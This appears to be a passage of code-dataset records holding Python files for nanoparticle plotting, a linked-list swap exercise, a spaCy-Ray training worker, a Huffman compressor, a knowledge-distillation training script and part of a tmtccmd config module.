dopant_dict[dopant[0]][dopant[2]] = dopant[1]\n\n # Fill in the rest with 'Y'\n for layer in dopant_dict:\n layer['Y'] = 1 - sum(layer.values())\n\n vals = [[layer[el] for el in elements] for layer in dopant_dict]\n\n return plot_nanoparticle_from_arrays(np.array(radii),\n np.array(vals),\n dpi=dpi,\n as_np_array=as_np_array,\n elements=elements)\n\n\ndef plot_nanoparticle_on_ax(ax,\n constraints,\n dopant_specifications,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = ['Y'] + elements\n\n n_layers = len(constraints)\n radii = [constraint.radius for constraint in constraints]\n dopant_dict = [{key: 0 for key in elements} for _ in range(n_layers)]\n for dopant in dopant_specifications:\n dopant_dict[dopant[0]][dopant[2]] = dopant[1]\n # Fill in the rest with 'Y'\n for layer in dopant_dict:\n layer['Y'] = np.round(1 - sum(layer.values()), 3)\n\n vals = [[layer[el] for el in elements] for layer in dopant_dict]\n cmap = plt.colormaps[\"tab10\"]\n colors = cmap(np.arange(4) * 4)\n colors[0] = [1, 1, 1, 1]\n\n for i in list(range(n_layers - 1, -1, -1)):\n # print(vals[i])\n ax.pie(vals[i],\n radius=radii[i] / radii[-1],\n colors=colors,\n wedgeprops=dict(edgecolor='k'),\n startangle=90)\n ax.legend(elements, loc='upper left', bbox_to_anchor=(1, 1))\n\n\ndef update(data, ax):\n constraints, dopants = data\n ax.clear()\n plot_nanoparticle_on_ax(ax, constraints, dopants)\n\n\ndef make_animation(frames: List[Tuple[NanoParticleConstraint, Tuple]],\n name: str = 'animation.mp4',\n fps: int = 30) -> None:\n\n fig = plt.figure(dpi=150)\n ax = fig.subplots()\n anim = animation.FuncAnimation(fig, partial(update, ax=ax), frames=frames)\n anim.save(name, fps=fps)\n fig.clear()\n","repo_name":"BlauGroup/NanoParticleTools","sub_path":"src/NanoParticleTools/util/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"18593445407","text":"# The code from the other file has been optimized to search x and y in a single traversal. Two loops are used to keep the program simple\r\n\r\nclass Node:\r\n\r\n # constructor\r\n def __init__(self, val = None, next1 = None):\r\n self.data = val\r\n self.next = next1\r\n\r\n # printlist from this to last till None\r\n def printlist(self):\r\n\r\n node = self\r\n\r\n while (node != None):\r\n print(node.data, end = \" \")\r\n node = node.next\r\n print(\" \")\r\n \r\n\r\n# Function to add a node at the beginning of a list\r\n \r\n def push(head_ref, new_data):\r\n\r\n # allocate node\r\n (head_ref) = Node(new_data, head_ref)\r\n return head_ref\r\n\r\n def swapNodes(head_ref, x, y):\r\n head = head_ref\r\n\r\n # Nothing to do if x and y are same\r\n if (x == y):\r\n return None\r\n\r\n a = None\r\n b = None\r\n\r\n\r\n # search for x and y in the linkedlist and store their pointer in a and b\r\n while (head_ref.next != None):\r\n\r\n if ((head_ref.next).data == x):\r\n a = head_ref\r\n\r\n elif ((head_ref.next).data == y):\r\n b = head_ref \r\n\r\n head_ref = ((head_ref).next)\r\n\r\n\r\n # if we have found both a and b in the linkedlist swap current pointer and next pointer of these\r\n if (a != None and b != None):\r\n temp = a.next\r\n a.next = b.next\r\n b.next = temp\r\n temp = a.next.next \r\n a.next.next = b.next.next\r\n b.next.next = temp\r\n\r\n return head\r\n \r\n\r\n # Driver code\r\n start = None\r\n\r\n start = push(start,7)\r\n start = push(start,6)\r\n start = push(start,5)\r\n start = push(start,4)\r\n start = push(start,3)\r\n start = push(start,2)\r\n start = push(start,1)\r\n \r\n print(\"Linked list before swapping : \") \r\n start.printlist()\r\n\r\n start = swapNodes(start,2,6)\r\n\r\n print(\"Linked list after swapping : \") \r\n start.printlist()\r\n","repo_name":"desaivaibhav95/Object-Oriented-Programming-Python-","sub_path":"Linked Lists/swap_nodes_in_linkedlist_simpler_approach.py","file_name":"swap_nodes_in_linkedlist_simpler_approach.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71249623849","text":"from typing import List, Dict, Union, Any, Optional\nimport time\nimport os\nimport threading\nfrom pathlib import Path\nfrom thinc.config import Config\nfrom thinc.types import FloatsXd\nfrom spacy.cli._util import import_code\nfrom spacy.training.loop import train_while_improving, create_train_batches\nfrom spacy.training.loop import create_evaluation_callback\nfrom spacy.training.loop import create_before_to_disk_callback\nfrom spacy.training.loop import update_meta\nfrom spacy.training.initialize import init_nlp\nfrom spacy.language import Language\nfrom spacy.util import registry, logger, resolve_dot_names\nfrom spacy.schemas import ConfigSchemaTraining\nfrom thinc.api import require_gpu, set_gpu_allocator\n\nfrom .proxies import RayPeerProxy\nfrom .util import set_params_proxy, divide_params, KeyT\n\n\nclass Worker:\n \"\"\"Actor class for spaCy parallel training.\n\n Okay this is pretty mind-bending stuff...But the idea is that the remote\n workers need to communicate directly, to avoid extra copies. The mechanics\n of this are super twisted though, because it mixes all sorts of levels. But\n it has the be *exactly this* worker object that is passed through, because\n we need the remote actor. That's why it's so strange.\n\n The workers install a \"proxy\" object into the Thinc models. When this object\n is installed, Thinc will direct calls to get_param, inc_grad, set_param etc\n through the proxy.\n\n On each worker, a subset of the weights will be \"local\". The proxy will\n receive a list of the keys that are local, and a mapping of keys to workers.\n\n Workers optimize the parameters that are 'local' to them, and then push\n the updates to the other workers. For parameters that aren't local, they\n find the worker that owns that parameter, and publish the gradient to it.\n\n This strategy is non-blocking, because the gradients and the parameters\n are both pushed, not pulled.\n\n In order to make this work, we need some concurrency within the workers,\n because the workers need to be listening for updates while continuing to\n work. Currently this is implemented by putting the main training work\n on a thread, and letting the main thread continue to listen for connections.\n\n Finally, not that there's a pretty tangled circular reference here. I hate\n circular references, it makes the code hard to understand and makes\n Python use GC. But the circular reference here is necessary:\n\n * Workers hold a reference to the nlp object. Within the nlp object, models\n hold references to the \"proxy\" object.\n * The proxy object holds a reference to the peer mapping, whose values are\n the workers.\n \"\"\"\n\n rank: int\n num_workers: int\n gpu_id: int\n nlp: Language\n config: Union[Dict[str, Any], Config]\n proxy: Optional[RayPeerProxy]\n thread: Optional[threading.Thread]\n _results: List\n _evaluation_callback: Any\n\n def __init__(\n self,\n config: Config,\n *,\n rank: int = 0,\n num_workers: int = 1,\n use_gpu: int = 0,\n code_path: Optional[Path] = None,\n ray=None,\n ):\n if ray is None:\n # Avoid importing ray in the module. This allows a test-ray to\n # be passed in, and speeds up the CLI.\n import ray # type: ignore\n\n self.ray = ray\n import_code(code_path)\n self.rank = rank\n self.num_workers = num_workers\n self.gpu_id = self._resolve_gpu(use_gpu)\n self.nlp = init_nlp(Config(config), use_gpu=self.gpu_id)\n config = self.nlp.config.interpolate()\n self.T = registry.resolve(config[\"training\"], schema=ConfigSchemaTraining)\n dot_names = [self.T[\"train_corpus\"], self.T[\"dev_corpus\"]]\n self.train_corpus, self.dev_corpus = resolve_dot_names(config, dot_names)\n self.before_to_disk = create_before_to_disk_callback(self.T[\"before_to_disk\"])\n allocator = self.T[\"gpu_allocator\"]\n if use_gpu >= 0 and allocator:\n set_gpu_allocator(allocator)\n self._evaluation_callback = lambda: {}\n self._results = []\n self._has_evaluation_callback = False\n self.thread = None\n self.proxy = None\n self.n_grads_used = 0\n self.n_grads_discarded = 0\n\n ########################################################################\n # Inter-worker communication\n #\n # It'd be nice to have this stuff in a different object, but we need\n # to pass the actual 'actor' handle around, we can't use a shared reference.\n # And if we made another actor, it would run within a different process.\n #\n #########################################################################\n\n def inc_grad(self, key: KeyT, version: int, value: FloatsXd) -> None:\n if self.proxy is None:\n raise ValueError(\"Proxy object not set\")\n if self.proxy.check_version(key, version):\n self.proxy.inc_grad(key[0], key[1], value)\n\n def set_param(self, key: KeyT, version: int, value: FloatsXd) -> Optional[FloatsXd]:\n return self.proxy.receive_param(key, version, value)\n\n def get_param(self, key: KeyT, version: int) -> Optional[FloatsXd]:\n if self.proxy is None:\n raise ValueError(\"Proxy object not set\")\n elif self.proxy.check_version(key, version):\n return self.proxy.get_param(key[0], key[1])\n else:\n return None\n\n #########################################################################\n # Process control. These are used by the script or function coordinating\n # the work.\n #\n ########################################################################\n\n def sync_params(self):\n for key in self.proxy._owned_keys:\n self.proxy.send_param(key)\n\n def get_percent_grads_used(self):\n total = self.n_grads_used + self.n_grads_discarded\n if total == 0:\n return None\n else:\n return self.n_grads_used / total\n\n def get_quorum(self) -> int:\n # Default to setting the 'quorum' to be the number of workers multiplied\n # by the accumulate_gradient value. This is how many gradients for a\n # parameter we will accumulate before running the optimizer.\n return self.num_workers * self.T[\"accumulate_gradient\"]\n\n def train(self, peers: List, evaluator: \"Evaluator\") -> None:\n def evaluate():\n if self.rank == 0:\n scores = self.evaluate()\n self.ray.get(evaluator.set_scores.remote(scores))\n return scores\n else:\n scores = None\n while scores is None:\n time.sleep(5)\n scores = self.ray.get(evaluator.get_scores.remote())\n return scores\n\n train_batches = create_train_batches(\n self.nlp,\n self.train_corpus,\n self.T[\"batcher\"],\n self.T[\"max_epochs\"],\n )\n training_step_iterator = train_while_improving(\n self.nlp,\n FakeOptimizer(),\n train_batches,\n evaluate=evaluate,\n dropout=self.T[\"dropout\"],\n accumulate_gradient=1,\n patience=self.T[\"patience\"],\n max_steps=self.T[\"max_steps\"],\n eval_frequency=self.T[\"eval_frequency\"],\n exclude=self.T[\"frozen_components\"],\n annotating_components=self.T[\"annotating_components\"],\n before_update=self.T[\"before_update\"],\n )\n if self.rank == 0:\n print_row, finalize_logger = self.T[\"logger\"](self.nlp)\n else:\n print_row = lambda: None\n self.thread = threading.Thread(\n target=thread_training,\n args=(\n training_step_iterator,\n print_row,\n self.rank,\n self.num_workers,\n self.gpu_id,\n ),\n )\n self.thread.start()\n\n def is_running(self):\n return self.thread.is_alive()\n\n def evaluate(self) -> Dict[str, Union[Dict[str, float], float]]:\n if not self._has_evaluation_callback:\n self._evaluation_callback = create_evaluation_callback(\n self.nlp,\n self.dev_corpus,\n self.T[\"score_weights\"],\n )\n self._has_evaluation_callback = True\n return self._evaluation_callback()\n\n def save_checkpoint(self, info: Dict, output_path: Path) -> None:\n with self.nlp.select_pipes(disable=self.T[\"frozen_components\"]):\n update_meta(self.T, self.nlp, info)\n self.before_to_disk(self.nlp).to_disk(output_path)\n\n def get_owned_keys(self):\n owned_keys = []\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n worker_keys = divide_params(component.model, self.num_workers)\n owned_keys.extend(worker_keys[self.rank])\n return owned_keys\n\n def get_peer_map(self, workers):\n peer_map = {}\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n worker_keys = divide_params(component.model, self.num_workers)\n for worker, keys in zip(workers, worker_keys):\n for key in keys:\n peer_map[key] = worker\n return peer_map\n\n def set_proxy(self, peers) -> None:\n proxy = RayPeerProxy(\n self.get_peer_map(peers),\n self.T[\"optimizer\"],\n self.get_owned_keys(),\n ray=self.ray,\n )\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n set_params_proxy(component.model, proxy)\n self.proxy = proxy\n\n def _resolve_gpu(self, use_gpu: int) -> int:\n if use_gpu >= 0:\n gpu_id = int(os.environ.get(\"CUDA_VISIBLE_DEVICES\", -1))\n logger.info(f\"Using GPU (isolated): {gpu_id}\")\n require_gpu(0)\n else:\n logger.info(\"Using CPU\")\n gpu_id = -1\n return gpu_id\n\n\nclass FakeOptimizer:\n def __init__(self):\n self.averages = {}\n\n def __call__(self, key, weights, gradient):\n # This shouldn't be called, because when we have the parameter proxy\n # installed, the gradients should never appear, and the `has_grad`\n # check in `model.finish_update` should return False.\n # However, it's difficult to guarantee that for all subclasses and shims\n # so it's safer to noop instead of raising.\n return weights, gradient\n\n def step_schedules(self):\n pass\n\n\nclass Evaluator:\n \"\"\"Share evaluation results between workers.\n\n One worker should publish evaluation results to the evaluator,\n while the other workers should retrieve them (using a wait-loop if\n necessary).\n \"\"\"\n\n def __init__(self):\n self.scores = []\n\n def set_scores(self, scores):\n self.scores.append(scores)\n return scores\n\n def get_scores(self):\n if not self.scores:\n return None\n else:\n return self.scores[-1]\n\n\ndef thread_training(training_step_iterator, print_row, rank, num_workers, gpu_id):\n if gpu_id >= 0:\n # I don't fully understand why we need to do this within the thread.\n # I think 0 is also correct here, because ray sets the available devices?\n require_gpu(0)\n for batch, info, is_best_checkpoint in training_step_iterator:\n if rank == 0 and is_best_checkpoint is not None:\n info[\"words\"] *= num_workers\n print_row(info)\n","repo_name":"explosion/spacy-ray","sub_path":"spacy_ray/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":11659,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"53"}
+{"seq_id":"28550512647","text":"from HuffmanTree import HuffmanTree\nimport HuffmanHeaders\nimport time, os\n\n\nclass HuffmanCompressor(object):\n\n\tdef __init__(self):\n\n\t\tself.encoded_txt = \"\"\n\t\tself.encoded_tree = bytearray()\n\t\tself.compression_bytes = bytearray()\n\n\n\n\tdef get_encoded_txt(self, txt, codes):\n\n\t\t'''\n\t\ttxt(str) , codes(dict) -> encoded_txt(str)\n\n\t\t------------\n\t\tThis Function convertes plain text \"txt\" into encoded \n\t\ttext using Huffman Coding \"codes\"\n\n\t\t'''\n\n\t\tself.encoded_txt = ''.join([codes[ch] for ch in txt])\n\n\t\treturn self.encoded_txt\n\n\n\n\tdef encoded_arr(self, encoded_txt, encoded_tree, filename):\n\n\t\t'''\n\t\tencoded_txt(str), encoded_tree(str), filename(str) -> comp_arr(bytearray)\n\n\t\t------------\n\t\tThis Function takes the Huffman encoded file, the encoding tree and \n\t\tfilename to produce a bytearray consists of a header for the file so\n\t\twe can decompress it later along side with encoded file to get the \n\t\tcompressed array of the given file\n\n\n\t\theader format\n\t\t-------------\n\t\t[0] byte: Number of trailing zero\n\t\t[1 : 5] bytes: length of encoded tree\n\t\t[5 : n] bytes: encoded tree\n\t\t[n : m] bytes: file name length + filename + file extension length + file extension\n\t\t\t\tHuffmanHeaders.file_header()\n\t\t[m : l] bytes: encode file length (5 bytes)\n\t\t[l : k] bytes: encoded file\n\t\t'''\n\n\t\ttrail = 8 - len(encoded_txt) % 8\n\t\tif trail:\n\t\t\tencoded_txt += \"0\"*trail\n\n\t\t\n\t\tcomp_arr = bytearray()\n\t\t# first byte : number oftrailling 0s \n\t\tcomp_arr.append(trail)\n\n\t\t# 2->5 bytes : length of encode tree\n\t\t# 5 -> n : encode tree\n\t\ttree_arr = len(encoded_tree).to_bytes(4, byteorder=\"little\")\n\t\tcomp_arr.extend(tree_arr)\n\t\tcomp_arr.extend(self.encoded_tree)\n\n\t\t# n-> m : file name and file extention\n\t\tcomp_arr.extend(HuffmanHeaders.file_header(filename))\n\n\t\t# m -> m+5 : length file \n\t\t# m+5-> m + 5 + length file : encoded file \n\t\tdata_arr = bytearray()\n\n\t\tdata_arr.extend(int(encoded_txt,2).to_bytes((len(encoded_txt))//8, byteorder=\"little\"))\n\t\tln = len(data_arr).to_bytes(5, byteorder=\"little\")\n\t\t\n\t\tcomp_arr.extend(ln)\n\t\tcomp_arr.extend(data_arr)\n\n\t\treturn comp_arr\n\n\n\n\tdef compress_file(self, filename):\n\n\t\t'''\n\t\tfilename(str) -> encode_arr(bytearray)\n\n\t\t------------\n\t\tThis Function takes file name and returns its Huffman\n\t\tencode bytes array.\n\t\t'''\n\n\t\twith open(filename, \"rb\") as src:\n\n\t\t\ttxt = src.read()\n\n\t\t\ttree = HuffmanTree()\n\t\t\tcodes , self.encoded_tree = tree.huffman_coding(txt)\n\t\t\t# print(codes)\n\t\t\tself.get_encoded_txt(txt, codes)\n\n\t\tsrc.close()\n\n\t\treturn self.encoded_arr(self.encoded_txt, self.encoded_tree, filename)\n\n\n\n\tdef compress_files(self, filename, path=\".\"):\n\n\t\t'''\n\t\tfilename(str), path(str) -> void\n\n\t\t-------------\n\t\tThis function gets file/directory and its relatuve \n\t\tpath (optional) traversing all files of directory \n\t\tto compress or compress in case of file\n\t\t'''\n\n\t\tif filename is None : filename = path\n\t\n\t\tfilename = path + \"/\" + filename\n\t\t\n\t\tif (os.path.isdir(filename)) :\n\n\t\t\tdir_array = bytearray()\n\n\t\t\tdir_header, files = HuffmanHeaders.dir_header(filename)\n\t\t\tdir_array.extend(dir_header)\n\n\t\t\tself.compression_bytes.extend(dir_array)\n\n\t\t\tfor file in files :\n\t\t\t\tself.compress_files(file, filename)\n\n\t\telse:\n\n\t\t\tself.compression_bytes.extend(self.compress_file(filename))\n\n\n\tdef compress(self, filename):\n\n\t\t'''\n\t\tfilename(str) -> time(time), output(str)\n\n\t\t--------------\n\t\tThis function takes file/directory name or path \n\t\tto compress and returns the execution time of \n\t\tcompression and output compressed file name (.huffman)\n\t\t'''\n\n\t\tt1 = time.time()\n\n\t\tself.compress_files(filename)\n\n\t\toutput, ext = HuffmanHeaders.filename_split(filename)\n\n\t\twith open(output + \".huffman\", \"wb\") as dest:\n\t\t\tdest.write(self.compression_bytes)\n\n\t\tdest.close()\n\n\t\tt2 = time.time()\n\n\t\treturn (t2-t1), output+\".huffman\"\n","repo_name":"MMagdys/Huffman-Coding","sub_path":"HuffmanCompressor.py","file_name":"HuffmanCompressor.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"41227395929","text":"import os\nimport sys\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader, TensorDataset\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport torch.nn.functional as F\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.utils import shuffle\nimport numpy as np\nfrom model.Wide_Deep_CE import Wide_Deep, Controller\nfrom argparse import ArgumentParser\nfrom utils import EarlyStopping\nfrom sklearn.metrics import log_loss, roc_auc_score\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler\n# from torchmetrics.classification import BinaryAccuracy\nfrom helper.evaluation import compute_metrics\nfrom torchmetrics import Accuracy\nfrom prettytable import PrettyTable\n\nfrom imblearn.over_sampling import RandomOverSampler\n\n# define the oversampling object\noversampler = RandomOverSampler()\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\ndef parse_args():\n parser = ArgumentParser(description=\"KD\")\n parser.add_argument(\"--data_name\", type=str, default=\"criteo\")\n\n # parser.add_argument('--val_ratio', type=float, default=0.1)\n # parser.add_argument('--test_ratio', type=float, default=0.3)\n parser.add_argument('--gpu_id', type=int, default=-1)\n parser.add_argument('--is_logging', type=bool, default=False)\n # Seed\n parser.add_argument('--seed', type=int, default=2023, help=\"Seed (For reproducability)\")\n # Model\n parser.add_argument(\"--model_name\", type=str, default=\"Wide_Deep\")\n parser.add_argument('--dim', type=int, default=16, help=\"Dimension for embedding\")\n parser.add_argument('--dnn_hidden_units', nargs='+', type=int, default=[64, 32], help='hidden layer dimensions')\n parser.add_argument('--alpha', type=float, default=0.7, help=\"trade-off on teacher\")\n parser.add_argument('--temp', type=float, default=2.0, help=\"temperature\")\n parser.add_argument('--state_type', type=int, default=1, help=\"state\")\n # Optimizer\n parser.add_argument('--lr', type=float, default=1e-3, help=\"Learning rate\")\n parser.add_argument('--wd', type=float, default=1e-2, help=\"Weight decay factor\")\n # Training\n parser.add_argument('--n_epochs', type=int, default=1000, help=\"Number of epoch during training\")\n parser.add_argument('--every', type=int, default=1,\n help=\"Period for evaluating precision and recall during training\")\n parser.add_argument('--patience', type=int, default=20, help=\"patience\")\n parser.add_argument('--batch_size', type=int, default=1024, help=\"batch_size\")\n\n return parser.parse_args()\n\n\ndef onehot_matrix(binary_vector):\n num_rows = len(binary_vector)\n one_hot_matrix = np.zeros((num_rows, 2))\n one_hot_matrix[np.arange(num_rows), binary_vector] = 1\n return torch.tensor(one_hot_matrix).float()\n\ndef generate_controller_state(value_s, value_t, value_g, value_o, state_type):\n if state_type == 1:\n return torch.cat((\n value_s, value_t, value_g,\n ), dim=1)\n elif state_type == 2:\n return torch.cat((\n torch.pow(value_s - value_t, 2),\n torch.pow(value_t - value_g, 2),\n torch.pow(value_g - value_s, 2),\n ), dim=1)\n elif state_type == 3:\n return torch.cat((\n value_s, value_t, value_g,\n torch.pow(value_s - value_t, 2),\n torch.pow(value_t - value_g, 2),\n torch.pow(value_g - value_s, 2),\n ), dim=1)\n\ndef train(args):\n os.chdir('/Users/../Research_project/KD_tradeoff/')\n print(os.getcwd())\n path = 'data_raw/{}/'.format(args.data_name)\n if args.data_name == 'criteo':\n sparse_feature = ['C' + str(i) for i in range(1, 27)]\n dense_feature = ['I' + str(i) for i in range(1, 14)]\n col_names = ['label'] + dense_feature + sparse_feature\n print(\"col_names:\", col_names)\n df = pd.read_csv(path + 'dac_sample.txt', names=col_names, sep='\\t')\n\n df[sparse_feature] = df[sparse_feature].fillna('-1', )\n df[dense_feature] = df[dense_feature].fillna('0', )\n\n feat_sizes = {}\n feat_sizes_dense = {feat: 1 for feat in dense_feature}\n feat_sizes_sparse = {feat: len(df[feat].unique()) for feat in sparse_feature}\n feat_sizes.update(feat_sizes_dense)\n feat_sizes.update(feat_sizes_sparse)\n\n for feat in sparse_feature:\n lbe = LabelEncoder()\n df[feat] = lbe.fit_transform(df[feat])\n nms = MinMaxScaler(feature_range=(0, 1))\n df[dense_feature] = nms.fit_transform(df[dense_feature])\n\n fixlen_feature_columns = [(feat, 'sparse') for feat in sparse_feature] + [(feat, 'dense') for feat in\n dense_feature]\n dnn_feature_columns = fixlen_feature_columns\n linear_feature_columns = fixlen_feature_columns\n\n x, y = df.iloc[:, 1:], df.iloc[:, 0]\n\n x_train_val, x_test, y_train_val, y_test = train_test_split(x, y, test_size=0.2, random_state=args.seed)\n x_train, x_val, y_train, y_val = train_test_split(x_train_val, y_train_val, test_size=0.1,\n random_state=args.seed)\n\n x_train_t, x_train_s, y_train_t, y_train_s = train_test_split(x_train, y_train, test_size=0.3,\n random_state=args.seed)\n x_val_t, x_val_s, y_val_t, y_val_s = train_test_split(x_val, y_val, test_size=0.3,\n random_state=args.seed)\n\n x_train, y_train = oversampler.fit_resample(x_train_s, y_train_s)\n x_val, y_val = x_val_s, y_val_s\n\n # x_val, x_test, y_val, y_test = train_test_split(x_val_test, y_val_test, test_size=0.5, random_state=args.seed)\n\n print(\"y_train:\", len(y_train), y_train.sum())\n print(\"y_val:\", len(y_val), y_val.sum())\n print(\"y_test:\", len(y_test), y_test.sum())\n # np.savetxt('./saved/{}/gt_label_train.txt'.format(args.data_name), np.array(y_train.to_numpy()), delimiter=',')\n # np.savetxt('./saved/{}/gt_label_val.txt'.format(args.data_name), np.array(y_val.to_numpy()), delimiter=',')\n # np.savetxt('./saved/{}/gt_label_test.txt'.format(args.data_name), np.array(y_test.to_numpy()), delimiter=',')\n\n print(\"x_train shape:{}, y_train shape{}\".format(x_train.shape, y_train.shape))\n print(\"x_val shape:{}, y_val shape{}\".format(x_val.shape, y_val.shape))\n print(\"x_test shape:{}, y_test shape{}\".format(x_test.shape, y_test.shape))\n\n train_dataset_raw = TensorDataset(torch.from_numpy(np.array(x_train)), torch.from_numpy(np.array(y_train)))\n val_dataset = TensorDataset(torch.from_numpy(np.array(x_val)), torch.from_numpy(np.array(y_val)))\n test_dataset = TensorDataset(torch.from_numpy(np.array(x_test)), torch.from_numpy(np.array(y_test)))\n\n train_dataloader_raw = DataLoader(train_dataset_raw, shuffle=False, batch_size=args.batch_size)\n val_dataloader = DataLoader(val_dataset, shuffle=False, batch_size=args.batch_size)\n test_dataloader = DataLoader(test_dataset, shuffle=False, batch_size=args.batch_size)\n\n # load teacher logits\n teacher_dnn_hidden_units = [64, 64]\n hidden_units_str = '_'.join(map(str, teacher_dnn_hidden_units))\n model_teacher = Wide_Deep(feat_sizes, args.dim, linear_feature_columns, dnn_feature_columns,\n teacher_dnn_hidden_units).to(\n args.device)\n saved_teacher_path = './saved/{}/model_{}/teacher_dim{}_CE_{}.pt'.format(args.data_name, args.model_name, args.dim,\n hidden_units_str)\n model_teacher.load_state_dict(torch.load(saved_teacher_path))\n true_label = []\n teacher_logits = []\n for x, y in train_dataloader_raw:\n x, y = x.to(args.device).float(), y.to(args.device).long()\n y_pre = model_teacher(x)\n true_label.extend(y.tolist())\n teacher_logits.extend(y_pre.tolist())\n\n print(\"true_label:\", np.shape(true_label))\n print(\"teacher_logits:\", np.shape(teacher_logits))\n\n\n train_dataset = TensorDataset(torch.from_numpy(np.array(x_train)), torch.from_numpy(np.array(y_train)),\n torch.from_numpy(np.array(teacher_logits)))\n train_dataloader = DataLoader(train_dataset, shuffle=True, batch_size=args.batch_size)\n\n # num_users, num_items = max(df[0]) + 1, max(df[1]) + 1\n print(\"args.dnn_hidden_units:\", args.dnn_hidden_units)\n if args.model_name == 'Wide_Deep':\n model = Wide_Deep(feat_sizes, args.dim, linear_feature_columns, dnn_feature_columns, args.dnn_hidden_units).to(\n args.device)\n\n if args.state_type in [1, 2]:\n in_dim = 6\n elif args.state_type in [3]:\n in_dim = 12\n controller = Controller(in_dim, args.device).to(args.device)\n\n model_optimizer = torch.optim.Adam(model.parameters(),\n lr=args.lr,\n weight_decay=args.wd)\n controller_optimizer = torch.optim.Adam(controller.parameters(),\n lr=args.lr,\n weight_decay=args.wd)\n\n loss_func = torch.nn.CrossEntropyLoss(reduction='none').to(args.device)\n\n saved_path = './saved/{}/model_{}/student_dim{}_CE_state{}.pt'.format(args.data_name, args.model_name, args.dim,\n args.state)\n early_stopping = EarlyStopping(patience=args.patience, verbose=True, path=saved_path)\n\n for epoch in range(args.n_epochs):\n model.train()\n total_loss, total_len = 0, 0\n total_GT_loss, total_KD_loss = 0, 0\n for x, y_g, y_t in train_dataloader:\n x, y_g, y_t = x.to(args.device).float(), y_g.to(args.device).long(), y_t.to(\n args.device).float()\n\n y_pre = model(x)\n\n value_s = F.softmax(y_pre / args.temp, dim=1)\n value_t = F.softmax(y_t / args.temp, dim=1)\n value_g = onehot_matrix(y_g)\n value_o = value_t\n\n # print(\"value_s:\", value_s[:5])\n # print(\"value_t:\", value_t[:5])\n # print(\"value_g:\", value_g[:5])\n\n state = generate_controller_state(value_s, value_t, value_g, value_o, args.state_type)\n\n trade_off = controller(state).squeeze()\n loss_GT = loss_func(y_pre, y_g)\n loss_KD = F.kl_div(F.log_softmax(y_pre / args.temp, dim=1), F.softmax(y_t / args.temp, dim=1),\n reduction='none').sum(1)\n loss = (1 - trade_off) * loss_GT + trade_off * args.temp ** 2 * loss_KD\n loss = torch.mean(loss)\n\n model_optimizer.zero_grad()\n controller_optimizer.zero_grad()\n loss.backward()\n model_optimizer.step()\n controller_optimizer.step()\n\n total_loss += loss.item() * len(y_g)\n total_GT_loss += loss_GT.mean().item() * len(y_g)\n total_KD_loss += loss_KD.mean().item() * len(y_g)\n total_len += len(y_g)\n train_loss = total_loss / total_len\n total_GT_loss = total_GT_loss / total_len\n total_KD_loss = total_KD_loss / total_len\n print(\"epoch {}, train loss is {:.6f}\".format(epoch, train_loss))\n print(\"fuion ratio:\", torch.max(trade_off), torch.mean(trade_off), torch.min(trade_off))\n # print(\"train_loss:\", train_loss)\n # print(\"total_GT_loss:\", total_GT_loss)\n # print(\"total_KD_loss:\", total_KD_loss)\n print(\"-------------------------------\")\n\n if epoch % args.every == 0:\n model.eval()\n with torch.no_grad():\n valid_acc, valid_auc, valid_nll = compute_metrics(model, val_dataloader, args.device)\n early_stopping(valid_auc, model)\n\n if early_stopping.early_stop:\n print(\"Early stopping\")\n\n break\n\n model.load_state_dict(torch.load(saved_path))\n acc, auc, nll = compute_metrics(model, test_dataloader, args.device)\n\n return acc, auc, nll\n\n\nif __name__ == '__main__':\n args = parse_args()\n args.device = torch.device('cuda:' + str(args.gpu_id) if torch.cuda.is_available() else 'cpu')\n print(\"device:\", args.device)\n\n state_list = [1, 2, 3]\n dnn_hidden_units_list = [\n [64, 64]\n ]\n result_table = PrettyTable(['Dataset', 'state', 'hidden_units', 'acc', 'auc', 'nll'])\n for state in state_list:\n for dnn_hidden_units in dnn_hidden_units_list:\n args.state = state\n args.dnn_hidden_units = dnn_hidden_units\n acc, auc, nll = train(args)\n result_table.add_row([args.data_name, args.state, dnn_hidden_units, acc, auc, nll])\n\n print(result_table)\n","repo_name":"Chengming0501/TGeo-KD","sub_path":"Criteo/run_code/CE/main_wide&deep_student_MLP.py","file_name":"main_wide&deep_student_MLP.py","file_ext":"py","file_size_in_byte":12795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"19748673979","text":"import collections.abc\nimport enum\nimport logging\nimport pprint\n\nimport deprecation\nfrom spacepackets.ecss.conf import (\n set_default_tc_apid,\n set_default_tm_apid,\n)\n\nfrom tmtccmd.core.globals_manager import update_global, get_global\nfrom tmtccmd.config.defs import (\n CoreModeList,\n CoreServiceList,\n CORE_COM_IF_DICT,\n CoreComInterfaces,\n ComIfDictT,\n)\nfrom tmtccmd.config.tmtc import TmtcDefinitionWrapper\nfrom tmtccmd.version import get_version\n\nDEF_WRAPPER = None\n\n\nclass CoreGlobalIds(enum.IntEnum):\n \"\"\"\n Numbers from 128 to 200 are reserved for core globals\n \"\"\"\n\n # Object handles\n TMTC_HOOK = 128\n COM_INTERFACE_HANDLE = 129\n TM_LISTENER_HANDLE = 130\n TMTC_PRINTER_HANDLE = 131\n TM_HANDLER_HANDLE = 132\n PRETTY_PRINTER = 133\n\n # Parameters\n JSON_CFG_PATH = 139\n MODE = 141\n CURRENT_SERVICE = 142\n COM_IF = 144\n OP_CODE = 145\n TM_TIMEOUT = 146\n SERVICE_OP_CODE_DICT = 147\n COM_IF_DICT = 148\n\n # 